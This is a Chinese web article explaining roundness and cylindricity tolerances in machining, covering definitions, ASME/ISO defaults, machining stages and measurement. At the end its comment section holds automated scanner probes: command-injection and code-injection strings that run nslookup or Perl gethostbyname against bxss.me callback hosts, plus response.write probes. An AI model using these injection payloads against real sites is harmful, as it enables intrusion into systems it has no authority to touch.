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圆度(圆度测量仪器)

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摘要今天给各位分享圆度的知识,其中也会对圆度测量仪器进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!本文目录一览:1、什么是圆度,什么是圆柱度?

今天给各位分享圆度的知识,其中也会对圆度测量仪器进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

本文目录一览:

什么是圆度,什么是圆柱度?

圆度:是指工件的横截面接近理论圆的程度。测量工具为圆度仪。圆柱度是指任一垂直截面最大尺寸与最小尺寸差为圆柱度。圆柱度误差包含了轴剖面和横剖面两个方面的误差。.圆柱度的公差带是两同轴圆柱面间的区域,该两同轴圆柱面间的径向距离即为公差值。

圆度的定义

在“一文读懂圆柱度”中提到,圆柱度同时包含了三项:圆度、直线度和平行度。今天详谈圆度。

一、数学定义

圆度(Circularity, Roundness)用于控制球体、非球体(圆柱体、圆锥体等)零件的实际表面。圆度要求实际零件表面上每个圆(用平面去截取球体、圆柱体、圆锥体等,都能得到圆)上的所有点都在两个同心圆限定的区域内。这两个同心圆的半径差为圆度公差。

问题的关键在于如何确定这个截面圆。圆度用于控制球体时,需要找到一个点;圆度用于控制圆柱体或圆锥体时,需要找到一条不自相交的空间曲线。

在实际零件中,球体只能有模拟出的球心,不可能有理论上的理想球心,因此只说要找到一个点,而不说要找到球心。

在实际零件中,圆柱体和圆锥体也只能有模拟出的轴线,不可能有理论上的理想轴线,因此只说要找到一条空间曲线,而不说要找到轴线。

圆度的数学定义为:

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圆度的数学定义式

其中:

P带-是零件实际截面圆上的点;

A带-是位置向量。对于球体,它是上述的点;对于圆柱和圆锥,它是上述空间曲线上的某个点;

T带^是单位向量。对于球体,它从上述的点指向所有的球径方向;对于圆柱体和圆锥体,它与上述空间曲线相切于点A带-;

-是向量的减法运算符号;

.是向量的数量积符号;

| |(里层的)符号表示求向量的模(大小),外层的是绝对值符号;

r是从点(对于球体)或空间曲线上的点A带-(对于圆柱或圆锥)到公差带中间圆的径向距离;

=是比较数值大小的“小于等于”符号;

t是圆度公差值,它决定了两个同心圆的半径差;

t/2是t的二分之一。

式(1)的几何意义:两个向量的数量积等于0,表示这两个向量互相垂直;这就表明点P带-落在与向量T带^垂直,并且经过点A带-的平面上。这个平面就用来截取球体、圆柱体、圆锥体,从而和零件实际表面相交出截面圆。这个截面圆当然不会是几何意义上理想的圆,于是就有了圆度问题。

式(2)的几何意义:点P带-到点A带-的距离,公差带中间圆的半径r,这两者的差值,不能大于公差值t(由图纸规定)的一半。

判断零件的实际表面是否满足圆度公差要求,就在于判断是否存在一个点(对于球体)或一条空间曲线(对于圆柱体和圆锥体)能满足上述要求。

二、图纸标注

圆度用于控制球体见图1。圆度用于控制圆柱体和圆锥体见图2。

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图1. 圆度用于控制球体(注意common center是前述的点,不是球心)

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图2. 圆度用于控制圆柱体和圆锥体(注意:这里的axis应该理解成前述的空间曲线)

三、应用场合

圆度可以实现图3所示的效果。

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图3. 圆度的控制效果

四、取值方法

ASME Y14.5默认采用包容原则,这样,圆度就等于直径公差(MMC状态下的Sm和LMC状态下的Sl,两者之间没有相对位置要求,详见之前的文章“尺寸公差和包容原则”。可以简单想象成小圆和大圆内切时,形成的最大间隙。参见图4)。

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图4. 包容原则下的圆度公差

ISO标准体系通过ISO 2768-2(对应的国标GB/T 1184)给出机加工件的默认圆度公差,其规定也是等于直径公差,但额外又要求不超过ISO 2768-2规定的圆跳动公差(参见表1)。

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表1. 圆度公差不能超过圆跳动公差

圆柱度注出值参考表2和图5。

请点击输入图片描述

表2. 圆柱度公差值及应用举例

请点击输入图片描述

图5. 圆度数值

根据实测及分析,在一般加工条件下,圆度误差占尺寸公差的30%以下,只有少数情况大于50%。也就是说,一般加工方法在保证尺寸公差的同时,也必然能保证相应的圆度精度。从图纸传达设计意图的角度看,考虑到ASME Y14.5和ISO 2768-2限定的圆度公差都等于直径公差,仅在“图3. 圆度的控制效果”所述情况下,才有必要注出圆度公差。

五、加工方法

外圆表面(轴)的常用加工方案:车削类、车磨类、特种加工类。

内圆表面(孔)的常用加工方案:车(镗)类、车(镗)磨类、钻扩铰类、拉削类和特种加工类。

常用加工方法能达到的圆度公差等级如表3.

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表3. 加工方法可达到的圆柱度公差等级

零件的切削加工往往不是一次到位的,而是逐步减少背吃刀量分阶段完成的。切削加工可分为5个阶段:粗加工、半精加工、精加工、精密加工、超精密加工。不过请注意,对于绝大多数零件,一般只经过前三个阶段,到精加工为止。

切削加工划分阶段能带来的优点有:

(1) 避免毛坯内应力的释放影响加工精度。毛坯粗加工一遍,待内应力释放平衡后再精加工,即可减少内应力释放导致的精度丧失。

(2) 粗加工时,背吃刀量较大,因此切削力大,需要的夹紧力也大,这些都会引起弹性变形和热变形,从而影响零件精度。粗加工提高生产效率,精加工保证精度。

(3) 粗加工时发现、暴露的毛坯缺陷,有助于尽早决定取舍,避免浪费。

(4) 粗加工可安排在精度较低的机床上(成本也较低)。精密机床仅用于精加工,也有利于机床长期保持较高精度。

(5) 便于有些零件需要安排热处理工序。

六、测量方法

圆度的测量方法见图6:

请点击输入图片描述

图6. 圆度测量方法

测量每个截面时,都要先对中。然后将零件转动一周,通过探针的读数变化得出圆度值

圆度和圆柱度分别是什么意思?通俗一点!

1.圆度 

 圆度是表示零件上圆的要素实际形状,与其中心保持等距的情况。即通常所说的圆整程度。 

 圆度是限制实际圆对理想圆变动量的一项指标,其公差带是以公差值t为半径差的两同心圆之间的区域。

2. 圆柱度 

 圆柱度是表示零件上圆柱面外形轮廓上的各点,对其轴线保持等距状况。 

 圆柱度是限制实际圆柱面对理想圆柱面变动量的一项指标。它的公差带是以公差值t为半径差的两个同轴圆柱面之间的区域。它控制了圆柱体横剖面和轴剖面内的各项形状公差,诸如圆度、轴线直线度,素线直线度等。使用时,一般标注了圆柱度就没有必要再标注圆度,直线度。如果一定要单独标注圆度、直线度,则其公差值必须小于圆柱度公差值,以表示设计上对径向或轴向形状公差提出进一步要求。 

 通常,圆柱度误差用圆度仪或配备计算机的三坐标测量装置检测,如果没有这些装置,最好不要使用圆柱度,此时可分别用圆度和圆柱面素线的平行度来代替使用。 

 用圆度和平行度来代替圆柱度时,应根据圆柱体的长径比确定圆度公差值与平行度公差值。 

 ·当圆柱体长度大于其直径时,素线平行度公差值必须相应大于其圆度公差值。 

 ·当圆柱体长度等于其直径时,素线平行度公差值与其圆度公差值也应相等。 

 ·当圆柱体长度小于其直径时,素线平行度公差值必须相应小于其圆度公差值。 

什么叫做圆度 圆度的公差是什么

1、圆度是指工件的横截面接近理论圆的程度,最大半径与最小半径之差为0时,圆度为0,测量工具为圆度仪,用途是测环形工件的圆度。

2、圆度公差:圆度是限制实际圆对理想圆变动量的一项指标,其公差带是以公差值t为半径差的两同心圆之间的区域。圆度公差属于形状公差,圆度误差值不大于相应的公差值,则认为合格。

圆度的介绍就聊到这里吧,感谢你花时间阅读本站内容,更多关于圆度测量仪器、圆度的信息别忘了在本站进行查找喔。

Tags: 圆度

文章评论 (有 387 条评论,160人围观)

张三 游客 2022-10-04 回复该评论
刀量较大,因此切削力大,需要的夹紧力也大,这些都会引起弹性变形和热变形,从而影响零件精度。粗加工提高生产效率,精加工保证精度。(3) 粗加工时发现、暴露的毛坯缺陷,有助于尽早决定取舍,避

lxbfYeaa 游客 2022-11-24 回复该评论
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response.write(9015606*9474691)

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'+response.write(9015606*9474691)+'

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"+response.write(9015606*9474691)+"

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'.gethostbyname(lc('hitku'.'fdtavrdq7bca6.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(88).chr(103).chr(68).'

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".gethostbyname(lc("hitup"."vzesradj0b68b.bxss.me."))."A".chr(67).chr(hex("58")).chr(106).chr(86).chr(119).chr(66)."

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&echo foemde$()\ pqxgjm\nz^xyu||a #' &echo foemde$()\ pqxgjm\nz^xyu||a #|" &echo foemde$()\ pqxgjm\nz^xyu||a #


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|echo znjhxe$()\ ujxgnr\nz^xyu||a #' |echo znjhxe$()\ ujxgnr\nz^xyu||a #|" |echo znjhxe$()\ ujxgnr\nz^xyu||a #

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(nslookup hitsceqlhrfuv0ad70.bxss.me||perl -e "gethostbyname('hitsceqlhrfuv0ad70.bxss.me')")

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$(nslookup hittcgayfcbxkb9b8f.bxss.me||perl -e "gethostbyname('hittcgayfcbxkb9b8f.bxss.me')")

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&(nslookup hitppblnmoljrda4b9.bxss.me||perl -e "gethostbyname('hitppblnmoljrda4b9.bxss.me')")&'\"`0&(nslookup hitppblnmoljrda4b9.bxss.me||perl -e "gethostbyname('hitppblnmoljrda4b9.bxss.me')")&`'

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|(nslookup hitmoyrsopjci5a768.bxss.me||perl -e "gethostbyname('hitmoyrsopjci5a768.bxss.me')")

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`(nslookup hitnhnbasvqsl0ef2e.bxss.me||perl -e "gethostbyname('hitnhnbasvqsl0ef2e.bxss.me')")`

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;(nslookup hitiggkngssin0f05c.bxss.me||perl -e "gethostbyname('hitiggkngssin0f05c.bxss.me')")|(nslookup hitiggkngssin0f05c.bxss.me||perl -e "gethostbyname('hitiggkngssin0f05c.bxss.me')")&(nslookup hitiggkngssin0f05c.bxss.me||perl -e "gethostbyname('hitiggkngssin0f05c.bxss.me')")

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